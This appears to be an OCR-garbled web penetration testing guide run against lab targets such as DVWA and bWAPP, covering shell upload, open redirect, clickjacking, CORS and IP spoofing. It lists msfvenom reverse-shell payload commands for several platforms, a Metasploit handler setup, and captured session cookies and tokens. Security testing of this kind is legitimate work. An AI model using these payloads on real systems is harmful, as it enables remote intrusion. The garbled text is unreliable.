_[ I HTTP history I WebSockets history T Options ]

Response from hitp://192.168.222.136:80/dvwa/vulnerabilities/upload/

| Forward [ | Drop | ‘ Intercept is on ‘ | Action
_[RawT Headers | Hex | HTML | Render |
<br />
<input name="uploaded" type="file" /><br />
<br />

<input type="subnit" name="Upload" walue="Upload" />
</form>

<pre>..J. . [hackable/uploads/4shell php| succesfully uploaded!</pre>

</div>

rootRowaspbwa : /var/www/dvwashackable/uploadst
1shell.php dvwa_email.png

rootRowaspbwa :/var/wuww/dvwashackable/uploads# ls
1shell.php 2Zshell.php dvwa_email.png
rootRowaspbwa:/var/www/dvwashackable/uploadst
rootRowaspbwa:/var/www/dvwashackable/uploads# ls

1shell.php Zshell.php 3shell.php dvwa_email.png
rootRowaspbwa:/var/www/dvwashackable/uploadst
root@owaspbua:/var/uww/dvwashackable/uploadst ls

i1shell.php 2Zshell.php 3shell.php 4shell.php dvwa_email.png
root@owaspbua:/var/uww/dvwashackable/uploadst

Blacklisting File Extensions

165 http://192.168.222.136 POST TbWAPP/unrestricted_file_upload.php v 200 11842 HTML php DWAPP - Unrestricted Fil... 192.168.222.136
166 http://192.168.222.136 GET IbWAPP/images/4shell.php3 200 405 text php3 192.168.222.136
< =

Request | Response ]
Raw | Params IHeaders TE'

Cool

e: dbx-postmeta=grabit=0-,1l-,2-,3-,4-,5- E-Gadvancedstuff=0-,1-,2-

pendivids=swingset,jotto,phphb2,

i security_level=0; remember_ token=Stu37BrvdLCcPfSwaD7x4g; PHPSESSID=£494p4ljmrhg8irlfpeudi7ols;

dmine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Requests: 1

20037128598723
Content-Disposition: form-data; name="file"; filename="4shell. php3"
Content-Type: application/octet-stream

Manhnho

165 http://192.168.222.136 POST IbWAPP/unrestricted_file_upload.php v 200 11942 HTML php bWAPP - Unrestricted Fil...
166K http://192.168.222.136 GET /bWAPP/images/4shell.php3 200 405 text php3 )
-«

Request | Response
Raw | Headers T Hex T HTML T Render ]

<br />
The image has been uploaded <a href="images/4shell. php3" target="_blank">here</a>.
</div>

S Sl VLR T T SV RSN VSR @) 192.168.222.136/bWAPP/imag: X

C ®

Manhnho



7. Test Upload of Malicious Files

How to Test

e Review the project documentation and use exploratory testing looking at the application/system
to identify what constitutes and “malicious” file in you environment
e Develop or acquire a know “malicious” file

e Using the Metasploit payload generation functionality generates a shellcode as a windows
executable using the Metasploit “msfvenom” command

e Try to upload the malicious file to the application/system and verify that it is correctlyrejected
o Set up the intercepting proxy to capture the “valid” request for an accepted file

e Send an “invalid” request through with a valid/acceptable file extension and see if the request is
accepted or rejected

Related Test Cases

e Test File Extensions Handling for Sensitive Information
e Test Upload of Unexpected File Types

Tools

e Metasploit’s payload generation functionality
e Intercept proxy

Test example
Binaries
Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac

msfvenom -p 0sx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

Web Payloads

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo "<?php " | tr -d "\n’ > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp



Handlers

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format

use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z

root@kali: ~ @ ® O

File Edit View Search Terminal Help

:~# msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.222.15
4 |LPORT=4444 -f exe > /root/Desktop/malicious.exe
No platform was selected, choosing Msf::Module::Platform: :Windows from the pa
yload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 299 bytes

~# |}

msf exploit( ) > set payload windows/meterpreter/reverse tcp

payload => windows/meterpreter/reverse tcp

msf exploit( ) > set lhost 192.168.222.154
lhost => 192.168.222.154

msf exploit( ) > set lport 4444

lport => 4444

msf exploit( ) > exploit

[*] Started reverse handler on 192.168.222.154:4444
[*] Starting the payload handler...

Upload and active malicious file, hacker will gain & remote victim’s computer




& | BES MP Assessment - Microsoft Word

r:’ Kali-Linux-2.0.0-vm-amd64 - VMware Workstation 12 Player (Non-commercial use only) = [m] X

Player v v wi;;w = =h

Applications ¥ Places ¥ "~Terminal ~

root@kali: ~

File Edit View Search Terminal
notes List all notes in the database
services List all services in the database
Keil uVisiond 2 vulns List all vulnerabilities in the database
workspace Switch between database workspaces o it
. > use exploit/ B/
‘q Error while running command use:
m@ > use exploit/multi/handler
Google  Xenotix XSS exploit( ) > set payload windows/meterpreter/reverse_tcp
Chitome  Bxploit Fra... payload => windows/meterpreter/reverse_tcp
msf exploit( ) > set lhost 192.168.222.154
lhost => 192.168.222.154
( - msf exploit( ) > set lport 4444
3 lport => 4444
<= e msf exploit( ) > exploit
SoftdWin - 21icio
Get Softwa.. [*] Started reverse handler on 192.168.222.154:4444
[*] Starting the payload handler...
[*] Sending stage (885806 bytes) to 192.168.222.152
[*] Meterpreter session 1 opened (192.168.222.154:4444 -> 192.168.222.152:492
94) at 2018-03-12 14:36:02 +0700

New folder keymap

meterpreter > [§

e || o

Client Side Testing

1. Testing for Client Side URL Redirect

This vulnerability occurs when an application accepts untrusted input that contains an URL value
without sanitizing it. By modifying untrusted URL input to a malicious site, an attacker may
successfully launch a phishing scam and steal user credentials.

How to Test

e Spider target site
e Filter sitemap by status code such as 3xx [Redirection]
e Analysis results , modify and scan

Test Example



¥ (@ http://192.168.222.136 Contents
(Y]
D) animatedcoliapse js Host Method | URL Params | Status 4 | Length
» [ bWAPP http://192.168.222.136 GET Izapwave/ 200 2210 (A
> [9 dvwa http://192.168.222.136 GET Izapwave/active/ 200 1583
[ favicen.ico http://192.168.222.136 GET Izapwave/active/index.jsp 200 1583
» [ icons http://192.168.222.136 GET Izapwave/active/inject/in... 200 1528
» [ images http://192.168.222.136 GET Izapwave/active/inject/in... 200 1742
[ index.css http://192.168.222.136 POST Izapwave/active/inject/in... v 200 1742
[ jquery.minjs http://192.168.222.136 GET Izapwavelactivelinject/in... 200 1634
) zap! http://192.168.222.136 GET Izapwave/active/inject/in... v 200 1634
(Y} ["5 nttp:1/1192.168.222.136/zapwave http://192.168.222.136 GET /zapwave/active/redirect... 200 1683
v[%a Remove from scope http://192.168.222.136 GET Izapwavelact?velred?red... 200 1437 |y
Spider this branch v il
> Actively scan this branch Jm
v Passively scan this branch
i - ;
J Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Projec
: | Site map | Scope |
I
:| Fitter: Hiding out of scope and not found items; hiding CSS, image and general binary @tent; hiding 2xx, 4xx and Sxx respo
1
] N
1
E ? Filter by request type Filter by MIME type Fiter by status code
1
: 3 ) Show only in-scope items & HTML [ Other text () 2xx [success]
) [J Show only requested items & Script [J Images ) 3xx [redirection]
1
: () Show only parameterized requests & XML ) Flash ([ 4xx [request error]
) ) Hide not-found items [J css (J other binary ([J 5xx [server error]
1
1
Filter: Hiding out of scope and not found items; hiding CSS, image and general binary content; hiding 2xx, 4xx and 5xx responses; hiding empty folders
¥ | @ http://192.168.222.136 Contents
(Y]
D) animatedcolapse js Host Method | URL | Params | Status 4| Length |
» [T9 bWAPP http://192.168.222.136 POST Izapwavelactive/redirect... v 302 348
» [9 dvwa
[ favicon.ico
» [ images
[ index.css
[ jquery.minjs
v 5 zapwave
v [5 active
v [% redirect
Q redirect-form-basic.jsp
» & redirect-ur-basic.jsp - 7 N
I Request | Response
[ Raw | Params | Headers | Hex
Win€4; x€4; Trident/5.0) A
Connection: close
Referer:

http://192.168.222.136/zapwave/active/redirect/redirect-form-basic.j
sp

Content-Type: application/x-www-form-urlencoded

Content-Length: 25

Cookie:

dbx-postmeta=grabit=0-,61-,2-,3-,4~-,5-, 6-cadvancedstuff=0-,1-,2-;
remember_ token=Stu37BrvdLCcP{fSwaD7x4g;
acopendivids=swingset,jotto,phpbbl,rednine;
acgroupswithpersist=nada; security=low;
PHPSESSID=£494p4ljmnrhg8irlfpeudi7023; security level=0;
JSESSIONID=ACBFACO8S9DB849806648F940673C08EES;
zap-info-cookie-no-http-only=test

target=redirect-index.jsp [/
v



Cancel <|v

Le
Request

Raw | Params | Headers | Hex

Follow redirection

Response

Raw | Headers | Hex

POST /zapwave/active/redirect/redirect-form-basic.jsp HTTP/L.1 A HTTP/1.1 302 Moved Temporarily
Host: 192.18. - Date: Mon, 12 Mar 2018 08:20:24 GMT
Accept-Encodin deflate Server: Apache-Coyote/l.l
Accept: */* Location: http://192.168.222.136/zapwave/active/redirect/redirect-index.jsp
Accept-Language: en Content-Type: text/html
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT &.1; Winé4; SET-COOKIE: JSESSIONID=ACBFAC089D84980£648F940673C08EES; Hetpinly
xE4; Trident/5.0) Via: 1.1 127.0.1.1
Connection: close Vary: Accept-Encoding
Referer: Content-Length: 0
http://192.168.222.136/zapwave/active/redirect /redirect-form-basic. jsp Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-, E-gadvancedstuff=0-,1
remember_token=Stu37BrvdLCePfSwaD7xdg;
acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; 1
security=low; PHPSESSID=£494p4ljmrhg8irlfpeudi7023; security_level=0;
JSESSIONID=AZBFAC08SD849806648F940673C08ERS;
zap-info-cookie-no-http-only=test
target=redirect-index.jsp

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML Render]
GET /zapwave/active/redirect/redirect-index.jsp HTTP/1.1 N HTTP/1.1 200 OK
Host: 192.168.222.136 - Date: Mon, 12 Mar 2018 08:20:5& GMT
Accept-Encoding: gzip, deflate Server: Apache-Coyote/l.1
Accept: */* Content-Type: text/html
Accept-Language: en SET-COOKIE: JSESSIONID=ACBFACO89D849806648F940673C08EES; Hetpinly
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT &.1; Winé4; Via: 1.1 127.0.1.1
xE4; Trident/5.0) Vary: Accept-Encoding
Connection: close Content-Length: 1178
Referer: Connection: close
http://192.168.222.136/zapwave/active/redirect/redirect-form-basic. jsp
Cockie: dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-, E-cadvancedstuff=0-,1-,2 <!DOCTYPE HIML PUBLIC "-//W3C//DID HIML 3.2//EN">
remember_token=Stu37BrvdLCcPfSwaD7x4g; <i-=
acopendivids=swingset,jotto,phpbb2,rednine; acgroupswithpersist=nada; This file is part of the OWASP Zed Attack Proxy (SAP) project
security=low; PHPSESSID=£494p4limrhg8irlfpeudi7023; security_level=0; (http://www.owasp.org/index.php/OWASE_Zed Attack Proxy Project)
JSESSIONID=ACBFAC08SDB49806648F940673C08ERY; 1 ZAP is an HITP/HITPS proxy for assessing web application security.
zap-info-cookie-no-http-only=test

Author: psiinon@gmail.com
oy ..
Go Cancel [ <|v J [ >|v J [ Follow redirection J

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex
POST /zapwave/active/redirect/redirect-form-basic.jsp HITP/1.1 N HTTP/1.1 302 Moved Temporarily
Host: 18S2.168.222.136 2 Date: Mon, 12 Mar 2018 08:21:45 GMT
Accept-Encoding: gzip, deflate Server: Apache-Coyote/l.1
Accept: */* Location: https://google.com
Accept-Language: en Content-Type: text/html
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT €.1; Winé4; SET-COOKIE: JSESSIONID=ATBFACO89DB849806648F940673C08EBS; Httplnly
x€4; Trident/5.0) Via: 1.1 127.0.1.1
Connection: close Vary: Accept-Encoding
Referer: Content-Length: 0
http://192.168.222. 136/zapwave/active/redirect /redirect-form-basic. jsp Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: dbx-postmeta=grabit=0-,1-,2-,3-,4-, 5, E-gadvancedstuff=0-,1-,
remember_token=Stu37BrvdLCcPfSwaD7x4qg;
acopendivids=swingset,jotto,phpbb2,rednine; acgroupswithpersist=nada; 1
security=low; PHPSESSID=£494p4limrhg8irlfpeudi7023; security_level=0;
JSESSIONID=AZBFAC08SD849806648F940673C08EBY;
zap-info-cookie-no-http-only=test
target=https://google.com

Go Cancel < > Follow redirection Target: https:ligoogle.com

Request Response

Raw | Headers | Hex

Raw | Headers | Hex | HTML | Render

GET / HITP/1.1

Host: google.com

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT €.1; Win€4;

T

%€4; Trident/5.0)
Connection: close
Referer:

http://192.168.222. 136/zapwave/active/redirect/redirect-forn-basic. jsp

HITP/1.1 30
Cache-Control:
Content-Type:

Found
private
text/html; charset=UTF-8

Referrer-Policy: no-referrer
Location: https://www.google.com.vn/?gfe_rd=cr&der=06ei=SDinWqT2AsSdXS-fqugk

Content-Length:

271

Date: Mon, 12 Mar 2018 08:23:16 GMT

Alt-Sve:

ha

443"; ma=2592000; quic=51303431; quic=51303339; quic=51303335,quic=":443"; ma=2592000;

v="41,39,35"
Comnection: close

<HTHL><HEAD><meta http-equi:

content-type" conten

text/html;charset=ut£-8">

<TITLE>302 Moved</TITLE></HEAD><BODY>

<H1>302 Moved</H1>

The document has moved

<A HREF="https: //www.google.com.vn/?gfe_rd=criamp;dcr=0&anp;ei=9DinWqT2AsSdXS- fqulE" >here</A>.
</BODY></HTHL>



Go Cancel <|v >\

Target: https:/iwww.google.com.vn LIJ uj

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML [ Render
GET /?gfe_rd=cr&der=0&ei=SDimWqT AsSdXS-fqugE HTTP/1.1 N . A
Host: www.google.com.vn r . r
Accept-Encoding: gzip, deflate .
Accept: */* *
Accept-Language: en b
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT &€.1; Winé4; &
x€4; Trident/5.0) b
Connection: close .
Referer: .
http://192.168.222. 136/zapwave/active/redirect/redirect-forn-basic. jsp
Via»ft Nam
TA-~m kid°;m nA¢ng
@ cao
CAng cas¥ngA'n
" - P ngés~
| TAomvaniGooge | | Xemtrang Adegu tien thom Avevdnec |
Google A'/E°a»£c cung ca™p ta%i: English FranA§ais & -z—fi%"c'08< %%
Ch/E°/ijng tril€nh Qual%ong callo  Gial%di phalOp Kinh doanh  Gidwi thidstu va»0 Google  Google.com
Contents Issues
Host | Method | URL | Params Lsmus A| Length || |» i Input returned in response (reflected) [3]
http://192.168.222.136 POST  /zapwavelactivelredirect..  « 302 348 1./Open redirection (refiected)
1 Email addresses disclosed
i HTML does not specify charset
1 Suspicious input transformation (reflected)
i Link manipulation (reflected)
« ) T
Request | Response JAdeyT Request T Response ]
Raw | Params THeaders Hex
(]
Host: 192.168. 136 . A
Accept-Encoding: gzip, deflate 1 Open redirection (reflected)

Accept:
Accept-Language:
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT &.1;
Winé4; x€4; Trident/5.0)

Connection: close

Referer:
http://192.1€8.
sp
Content-Type: application/x-www-form-urlencoded

Content-Length: 25

Cookie:
dbx-postmeta=grabit=0-,1-,2-,3-,4~-,5-,6-sadvancedstuff=0-,1-,2-;
remember_token=Stu37BrvdLCcPfSwaD7x4g;
acopendivids=swingset,jotto,phpbbl, rednine;
acgroupswithpersist=nada; security=low;
PHPSESSID=£494p4linrhgSirl fpeudi7023; security level=0;
JSESSIONID=ATBFACOB89D849806€48F940673C08EBS;
zap-info-cookie-no-http-only=test

*

en

.136/zapwave/active/redirect/redirect-form-basic.j

2. Testing for Clickjacking

{

lssue: Open redirection (reflected)

Severity: Information

Confidence: Certain

Host: http://192.168.222.136

Path: ive/redirect/redirect-form-b: jsp
Issue detail

The value of the target request parameter is used to perform an HTTP redirect. The payload
?redire index.jsp was in the target parameter. This
caused a redirection to the following URL:

@ hitp://anxa7ts8psh/a?redirect-index.jsp

Clickjacking is a malicious technique that consist of deceiving a web user into interacting (in
most case by clicking) with something different to what the user believes they are interacting

with

How to Test

e Intercept proxy and analyze header (X-Frame-Option)
e Automate Scanner

Tools
e BurpSuite



e "Clickjacking Tool" - http://www.contextis.com/research/tools/clickjacking-tool/




Test Example

v i En ble resp (potential Clickjacking) [6]
idvwal

I/dvwalindex.php

/dvwallogin.php

Idvwalsecurity.php

J Advisory | R t | Resp
Note that some applications attempt to prevent these attacks from within the HTML page itself,

using "framebusting” code. However, this type of defense is normally ineffective and can
usually be circumvented by a skilled attacker.

ISR N

You should determine whether any functions acc ible within fr: ble pages can be used
by application users to perform any sensitive actions within the application.

Issue remediation

To effectively prevent framing attacks, the application should return a response header with the
name X-Frame-Options and the value DENY to prevent framing altogether, or the value
SAMEORIGIN to allow framing only by pages on the same origin as the response itself. Note
that the SAMEORIGIN header can be partially bypassed if the application itself can be made to
frame untrusted websites.

¥ 1 Frameable response (potential Clickjacking) [6]

/dvwal

/dvwalindex.php
/dvwallogin.php
/dvwalsecurity.php

e acy

| Advisory I Request T Response ]

[ raw | Params | Heagers | Hex |

GET /dvwa/ HTTP/1l.1

Host: 1SZ_.168.222.1386

User—Agent: Mozilla/5.0 (Windows NT 1l0.0; Win&4; x&4; rv:58.0)
Gecko/Z0100101 Firefox/58.0

Accept:

text/htnl, application/xhtml+xml, application/xnl;g=0_.9 _ */*;g=0_.8
Accept—-Language: en—-GB,en;qg=0.5

Accept—-Encoding: gzip, deflate

Cookie: security=medium;
dbx—-postmeta=grabit=0-,1-,2-,3—-,4—- ,5—- ,6-sadvancedstuff=0-,1-,2-;
security_ level=0; remember token=Stu37BrvdLCcPfSwaD7x4g,;
PHPSESSID=Z8orZsntlS037rlcregSgijuso;
acopendivids=swingset , jotto,phpbbl, , rednine; acgroupswithpersist=nada
Comnection: close

Upgrade—Insecure—PRecuests: 1

¥ | Frameable response (potential Clickjacking) [6]
ldvwal

Idvwalindex.php

Idvwallogin.php

1
i
i
1 Ildvwalsecurity.php

[ Advisory T Request TRﬁponse ]

_[ Raw T Headers T Hex T HTML T Render ]

[-ITTP/l.l 200 OK

Date: Mon, 12 Mar 2018 03:15:00 GMT

Server: Apache/Z.2.14 (Ubuntu) mod mono/Z.4.3 PHP/S5.3.Z-lubuntu4. 30
with Suhosin-Patch proxy html/3.0.1 mod python/3.3.1 Python/Z.E€.5
mod_ssl1/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38

mod perl/2.0.4 Perl/v5.10.1

X-Powered-By: PHP/S5.3.Z2-lubuntu4.30

Expires: Tue, 23 Jun 2008 12:00:00 GMT

Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 4620

Connection: close

Content-Type: text/html;charset=utf-8




3. Test Cross Origin Resource Sharing

Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform
“cross- domain” requests using the XMLHttpRequest L2 API in a controlled manner

How to Test

e Origin & Access-Control-Allow-Origin: insecure configuration as ‘*’ wildcard as value of the
Access-Control-Allow-Origin (all domains are allowed)

e Access-Control-Request-Method & Access-Control-Allow-Method (must have in response
header by the server to describe the methods the clients are allowed to use)

e Access-Control-Request-Header & Access-Control-Allow-Headers: determine which header can
be used to perform a cross-origin request

e Access-Control-Allow-Credential: this header as part of preflight request indicates that the final
request can include user credential

e Input validation

Test Example

e Using automate scan tool & intercept proxy tools

Issue Definitions

This listing contains the definitions of all issues that can be detected by Burp Scanner.

Name A | Typical severity | Type index \
Cross-origin resource sharing Information UXUUZ0U600
Cross-origin resource sharing: all subdomains trusted Low 0x00200603
Cross-origin resource sharing: arbitrary origin trusted High 0x00200601
Cross-origin resource sharing: unencrypted origin trusted Low 0x00200602

4. Testing for Spoofable Client IP address

If an application trusts an HTTP request header like X-Forwarded-For to accurately specify the
remote IP address of the connecting client, then malicious clients can spoof their IP address. This
behavior does not necessarily constitute a security vulnerability, however some applications use
client IP addresses to enforce access controls and rate limits. For example, an application might
expose administrative functionality only to clients connecting from the local IP address of the
server, or allow a certain number of failed login attempts from each unique IP address. Consider
reviewing relevant functionality to determine whether this might be the case

How to Test

e Intercept proxy
e Make sure request header do not import X-Forwarded-For, True-Client-IP, and X-Real-IP
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Request | Response
Raw | Params | Headers | Hex

GET /Ser L ?service=mail i =falsescont ps://mail._google.com/mail/ess=1lesce=laltmpl=default&ltmplcache=26enr=160sid=1 HTTP/1.1
Host: accounts.google.com
User-Agent: Mozilla/$.0 (Windows NT 10.0; Win4; x64; r

8.0) Geclko/20100101 Firefox/S8.0

Accept: text/html,application/xhtmltxml,application/xml;q=0.9,%/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie

NID=124=nQLTrD7bBL125PXgSy 2 13TqHL TxadXyISUQNhpr $2ZnUa-xULKVoV02Z4Z) FlruyKEYoYHp ) I i it
ceLtPpCLTCUNST: 1 ; GAPS=l:x 1qbLolqiSglNWoSiInn8xYePrisSCinlUkFTZ EGeyloS_RLTdA: 1z_SEM;
ACCOUNT_CHOOSER=AFx_qT7XKiS51Ya0_HAxdlXe fGgW-sinksTZ5hSHYYtSW2MOHFXI1-4_WlolReAQuDIGL ivRT4BMKKe3 31 TPGIFZV2ulgBSGiTpSnAdpnn3a_G7chRqd JBECIOBVUSj i RVEKAC 1KOCCESnVGAWh 7 qEXANW
meDxW2FX4UZF308chD £r TTK1Eh fF1UeNXeUvl-nt 7owGTNQzIYvy; CONSENT=YES+VN.vi+20170521-09-0; SID=agXvE4KYwlsA3QR3ZHLEx04p7aFt4qIPMo79YPNubQ2Sock 1AYHOSBExeVDED_LirJHOUH] . ;
LSID=doritos|maillo.mail. google.com|o.notifications.google. comls.VN|ss: EzqKZpiT2WoxnMpl 3yzBdB1STy0 YEX82hUE_ . HSTI Y4p3L1ISEH3;

SSID=ADNS2-yRLsxrx17pS; APISID=!
Comnection: close
Upgrade-Insecure-Requests: 1

70mScvILOMF1XeD/AulvBSGAE3UreveKV; SAPISID=Sewd fea_glUuq7xK/AqMIZLOZggitG-5R4; 1P_JAR=2018-3-2-4; OGP=-5061451:






